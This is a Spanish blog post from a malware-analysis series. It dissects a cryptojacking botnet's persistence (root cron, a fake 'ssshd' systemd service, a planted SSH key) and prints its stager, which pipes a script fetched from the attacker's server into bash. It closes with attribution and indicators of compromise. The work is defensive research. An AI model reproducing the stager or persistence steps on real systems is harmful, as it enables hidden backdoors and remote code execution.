ES EN
Índice

DIICOT · Capítulo 28

La cartera que nunca viaja

Viene del capítulo 27 · Solo el líder habla

Los dos capítulos anteriores dejaron el kit desmontado pieza a pieza, y una pregunta sin responder: a quién le paga. Fui a buscarlo. Y me encontré con un diseño que lo impide — la configuración de minado no viaja nunca dentro del bicho, se descarga después — y con un andamio que alguien ya había desmontado. Esto es la persecución, lo que sí planta cuando le dejas correr, y hasta dónde llega lo que puedo demostrar sobre quién hay detrás.

Este hilo arranca donde acabó el capítulo del bot. Ya sé cómo entra, qué trae dentro y cómo recibe órdenes. Queda lo que importa de un cryptojacker: a quién le paga.

Spoiler, porque prefiero decirlo de entrada que hacerte leer hasta el final para nada: no lo conseguí. Y la razón por la que no lo conseguí es la mejor parte del capítulo.

Cómo leer estoTres niveles, separados siempre: visto (lo he comprobado yo), leído (lo dice un tercero) y deducido (interpretación mía). Aquí hacen falta más que nunca, porque la última parte va de atribución — y en atribución la diferencia entre «lo pone en el binario» y «lo dice la comunidad» es toda la diferencia que hay.

01Lo que planta cuando le dejas correr

En el cebo no llegó a arrancar. En la jaula sí lo dejé correr, y como root, para ver qué se instala de verdad. Planta tres cosas a la vez, y las tres son para lo mismo: volver. visto

la triple persistencia
# 1 · cron de root — cuatro entradas, una cada minuto
@reboot   /var/tmp/<8 hex>/8b8989e8 & disown
* * * * * /var/tmp/<8 hex>/8b8989e8 & disown
@daily    …      @monthly …

# 2 · un servicio de systemd con nombre de sistema
myservices.service → ExecStart=/bin/bash /usr/bin/ssshd
                     Restart=always · RestartSec=1800

# 3 · una llave SSH en la puerta de root
/root/.ssh/authorized_keys ← ssh-rsa AAAAB3…nY3w== ElPatrono1337

Merece la pena mirar cada una, porque están pensadas para fallar por separado.

El cron revive el cargador cada minuto. Y el directorio donde lo guarda lleva un nombre de ocho caracteres al azar que cambia en cada infección: no vale buscar una ruta concreta, hay que buscar la forma. visto

El servicio de systemd se llama myservices.service y lanza algo llamado /usr/bin/ssshd — con tres eses. A ojo, en un listado, eso pasa por el demonio de SSH. No lo es: es el script que va a buscar la segunda etapa, y el servicio lo relanza cada media hora, para siempre. visto

Y la llave SSH es la que menos ruido hace y la peor. Si te limpias los procesos, el cron y el servicio, y no miras ese fichero, el atacante sigue entrando por la puerta principal sin contraseña. Va firmada con un nombre: ElPatrono1337. Volveremos a él.

Y una cosa que me hizo gracia y da que pensarEn el capítulo 26 conté que el atacante, nada más entrar, pegó un comando larguísimo de limpieza. Al detonar el kit en la jaula apareció ese mismo comando, palabra por palabra, dentro de uno de los módulos. visto

O sea que lo que yo había leído como «el intruso escribiendo» no era nadie escribiendo: era el kit ejecutando su propia rutina. La diferencia importa — no había una persona al teclado decidiendo, había una lista. deducido

El orden final de la cadena queda así: el dropper suelta los cinco módulos, el escáner hace de orquestador, mueve el cargador y el minero a sus escondites, planta las tres persistencias, y lanza el cargador y el bot. Los dos mineros se quedan quietos, esperando. visto

Y ahí está la explicación de un detalle del capítulo anterior que dejé pasar sin comentar: cuando le pedí el estado al bot, su panel decía Miners: 0. No era que la jaula le estorbara. Es que los mineros todavía no sabían a quién pagar.

02Ninguno de los dos mineros sabe a quién pagar

Aquí está el hallazgo de diseño, y es el que hace interesante todo lo demás.

Barrí los cinco módulos buscando algo con forma de cartera de Monero. Nada. Ni en claro, ni cifrado, ni en ninguno de los cinco. El XMRig que trae es XMRig de serie, sin configurar: el único servidor que lleva escrito es el del propio proyecto de XMRig, que no tiene nada que ver con el atacante. visto

¿Entonces de dónde sale la configuración? Al detonar el cargador se ve: no arranca ningún minero. Lo que hace es escribir un script de seis líneas y ejecutarlo.

el stager que escribe el cargador
#!/bin/bash
if curl -s --connect-timeout 15 hxxp://195.24.237.240/.x/black3; then
    curl -s hxxp://195.24.237.240/.x/black3 | bash
else
    curl -s hxxp://digital.digitaldatainsights[.]org/.x/black3 | bash
fi

Eso es todo. Baja un fichero de un servidor del atacante y se lo pasa a la shell. La configuración de minado —el servidor al que conectarse y la cartera a la que abonar— vive ahí fuera, en ese fichero, y solo llega a la máquina en el momento de usarla. visto

Por qué esto es más listo que cifrar la carteraEn los kits que he abierto antes, la cartera viajaba dentro del binario, tapada con algún cifrado casero. Eso tiene un problema para el atacante: quien capture una sola muestra tiene su cartera para siempre, y con ella puede mirar cuánto gana, atarle campañas y seguirle la pista.

Sacarla del binario lo arregla de un plumazo. Puedes capturar el bicho entero, desempaquetarlo, desofuscarlo y leerte cada línea — y seguir sin saber a quién paga. Para averiguarlo tienes que ir a pedírselo a su servidor, que es justo el gesto que un defensor no siempre puede permitirse. deducido

De paso, el cargador deja un fichero tonto en /tmp/.fontconfig/.fc-cache con ocho bytes dentro. No hace nada: es una marca, para que el kit sepa que esa máquina ya es suya. visto

03Fui a buscarlo

La pregunta era si ir a por ese fichero. Descargarlo es conectarse al servidor del atacante, y este proyecto tiene una raya ahí: se observa, no se toca.

La salida fue hacerlo por Tor — una red que hace pasar la conexión por varios ordenadores intermedios, de modo que quien recibe la petición no ve de dónde sale. No es un truco para esconderse de nadie: es para que, si el servidor del atacante estaba anotando quién le pide cosas, no apuntase ninguna dirección mía. Y con una regla de seguridad por delante: si Tor fallaba, la petición no se hacía — nunca en directo.

Terminal con la persecución de la segunda etapa por Tor: servidores que no responden y un dominio que devuelve una página de parking
Tras la segunda etapa por Tor. Fuimos a por la configuración de minado: servidores muertos y dominio en parking. La campaña de este build ya está tumbada.

El resultado, en dos vueltas:

La primera, contra las dos direcciones que lleva el script. La principal no contestó — probado con tres circuitos distintos, por si era mala suerte de un nodo de salida. La de respaldo, ni siquiera resolvía. visto

La segunda fue más interesante, porque antes de rendirme busqué en los archivos públicos que guardan copias de páginas escaneadas. Ahí salió que ese mismo fichero se había servido, en su día, desde más direcciones de las que el script conoce. Las probé todas, también por Tor. Una está muerta. Otra también. Y la tercera contestó — pero lo que devolvió fue una página de aparcamiento: el cartel que pone un registrador cuando un dominio queda suspendido. visto

No es que el servidor esté caído un rato. Es que el dominio ya no es suyo.

Un detalle de cómo se protegenLos archivos públicos tienen decenas de capturas de esa dirección. Ninguna sirve: lo que guardaron es un Not found! o un binario cualquiera. El servidor solo entregaba el script de verdad a quien lo pedía como lo pide el bicho — con la herramienta concreta que usa el stager. A un escáner automático le daba largas. visto

Es un filtro barato y eficaz: mantiene el payload fuera de los repositorios públicos durante toda la campaña. Por eso, cuando la infraestructura cae, lo que se llevó no lo tiene nadie. deducido

04Y el teléfono tampoco contesta

Quedaba comprobar la otra mitad. En el capítulo anterior conté que el bot recibe órdenes por un chat de Telegram, y que su identificador va escrito dentro del binario. Dije también que ese identificador estaba cancelado. Toca enseñar cómo lo sé, porque no lo deduje.

Telegram tiene una consulta que sirve para preguntarle a la propia plataforma si un bot existe. No lee mensajes, no escribe, no toca la cola de órdenes pendientes y no le llega ningún aviso a su dueño. Es, literalmente, preguntar si el número da línea.

la respuesta, dos veces y por caminos distintos
{"ok":false,"error_code":401,"description":"Unauthorized"}

401. El identificador ya no vale. Lo repetí con un segundo nodo de salida, por si el primero estuviera bloqueado: misma respuesta. Y es una respuesta limpia de Telegram, no un error de red — si el camino estuviera cortado, no llegaría este mensaje. visto

Dónde está la raya, y por qué esto se queda de este ladoLa regla de la casa es que la infraestructura del atacante no se toca. Y esto lo he hecho igualmente, así que toca explicarse en vez de disimularlo.

La diferencia que consideré suficiente: aquí no se le pregunta nada al atacante, se le pregunta a Telegram — un tercero neutral — si una cuenta sigue viva. No se lee su canal, no se le escribe, no se consume su cola de mensajes y no se le notifica. Una sola consulta, de solo lectura, por Tor y desde una máquina que no es la mía.

Lo que sigue prohibido, y no se ha hecho: pedir los mensajes, mandar una orden, o tocar la malla. Publicar el identificador es una cosa; usarlo, otra.

Y ese 401 encaja con lo del capítulo anterior como una pieza. El identificador está a la vista de cualquiera que abra la muestra; Telegram cancela los que se filtran; y el operador ya tenía previsto eso — por algo el bot sabe repartirse a sí mismo por la malla. Le tiraron el teléfono, y la botnet tenía un plan para eso. deducido

05Quién hay detrás, y qué parte puedo demostrar

Aquí hay que ir despacio, porque es donde más fácil es colar una afirmación prestada.

Lo que sale del binario, y por tanto puedo enseñar: el bot se presenta a sí mismo como DIICOT-BOTNET en su panel de estado; uno de los módulos y sus rutas se llaman diicot; y la llave SSH que planta va firmada ElPatrono1337. Tres cosas, las tres dentro de la muestra. visto

Lo que no sale del binario y he tenido que ir a buscar fuera: que ese nombre corresponde a una campaña conocida como color1337, y que el grupo se asocia con el nombre Mexals, documentado desde 2023. Eso no está en mi muestra: lo dice la comunidad, y yo me limito a repetirlo citando de dónde. leído

La atadura entre lo uno y lo otro sí es sólida, y no es solo el nombre. Lo que describen esos informes de 2023 coincide pieza por pieza con lo que acabo de desenterrar: el servicio myservices.service, el /usr/bin/ssshd que se relanza cada media hora, el fichero de objetivos, la llave firmada igual. Es el mismo kit. leído deducido

Lo que cambia es lo que este capítulo y el anterior han contado:

la misma familia, tres años después
                    lo documentado (2023)        esta muestra (2026)
mando               webhooks de Discord          bot de Telegram
topología           cliente → servidor           malla P2P con elección de líder
binarios            sin ofuscar                  ofuscados y empaquetados
actualización       —                            se reparte por la propia malla

Mismo actor, mismas manías, mismo nombre en la llave. Capa de mando reconstruida entera. Eso es lo que aporta el caso — no descubrir al actor, que lleva años publicado, sino enseñar en qué se ha convertido. deducido

Y una etiqueta que conviene no creerseEl motor de un servicio de análisis muy conocido clasifica el dropper como una familia distinta —una botnet P2P famosa— y lo hace, sospecho, solo porque ve la parte de red entre iguales. leído

No cuadra con nada más: esa otra familia no lleva diccionario de contraseñas con Huawei@123, ni los ficheros que éste deja, ni mando por Telegram. Es un recordatorio de que las etiquetas automáticas describen rasgos, no autores — y de que un rasgo llamativo arrastra la clasificación entera. deducido

06Lo que no puedo demostrar

Cinco cosas, y la primera es la que da título al capítulo.

La cartera. No la tengo, y no la voy a tener con esta muestra. No es que no supiera buscarla: no está dentro, por diseño, y el sitio donde estaba ya no existe. Si algún día ese fichero aparece en un repositorio público, se reabre. Mientras tanto es un hueco, y prefiero dejarlo escrito a rellenarlo con una cifra de otro sitio.

Si la campaña está muerta o solo este build. Lo que puedo afirmar es lo que he tocado: este identificador está cancelado y esta segunda etapa está desmantelada. De la malla no sé nada — podría seguir funcionando con una versión más nueva ahora mismo, y no tendría forma pasiva de enterarme.

Cuántas máquinas hay. El bot se propone dos mil conexiones, pero eso es una intención escrita en el código, no un censo. Contar la malla exigiría hablar su protocolo, que está autenticado — y eso ya sería meterse dentro. No se ha hecho.

Qué hace el escáner cuando busca víctimas. Sé lo que es y sé qué diccionario lleva. No lo he dejado escanear, ni un segundo: eso sería lanzar fuerza bruta contra máquinas de terceros desde aquí, y no hay resultado que lo justifique.

Cómo se reparte exactamente el binario nuevo. Vi que se trocea y se propaga, y vi a los nodos reiniciarse. El protocolo de transferencia por dentro, no lo he desmontado.

07Indicadores (IOCs)

La llegada está en el capítulo 26 y el mando en el 27. Éstos son los de lo que planta y lo que va a buscar.

TipoValor
Servicio falsomyservices.service/bin/bash /usr/bin/ssshd · reinicio cada 1.800 s
Fichero disfrazado/usr/bin/ssshd — con tres eses; es el stager, no el demonio SSH
Cron de root@reboot · @daily · @monthly · * * * * */var/tmp/<8 hex>/8b8989e8 (el directorio cambia en cada infección)
Backdoor SSHclave en /root/.ssh/authorized_keys con el comentario ElPatrono1337
Marcadores en disco/tmp/.fontconfig/.fc-cache · /var/tmp/.ladyg0g0/.pr1nc35 · /var/tmp/Documents/.diicot
Stager/tmp/.c — sha256 2bcc91fdedb8c583a9fe883be9ad453333a1bba0fdf655474982db3cbb8e7a74
Segunda etapahxxp://195.24.237.240/.x/black3 · respaldo hxxp://digital.digitaldatainsights[.]org/.x/black3 (ambos caídos a 19-sep-2026)
Distribución histórica52.223.13.41 (hoy parking) · 80.76.51.5 (muerta) · test.digitaldatainsights[.]org:7777 (muerta)
Handles del actorElPatrono1337 · ladyg0g0 · .pr1nc35

Si tuviera que quedarme con tres para vigilar una flota: un servicio llamado myservices, un fichero ssshd con tres eses y una entrada de cron que se ejecuta cada minuto. Las tres se buscan en un segundo y ninguna tiene motivo para existir en una máquina sana.

Continuará — la familia lleva desde 2021 cobrando y no ha parado: cambió el mando de Discord a Telegram, se montó una malla que se cura sola y se sacó la cartera de dentro del bicho para que nadie pueda seguirla. Cada vuelta que da es una puerta que se cierra para quien investiga. Del kit me quedan dos piezas sin abrir del todo —el que busca víctimas y el protocolo de la malla—, y el cebo sigue encendido. 🍯

Comentarios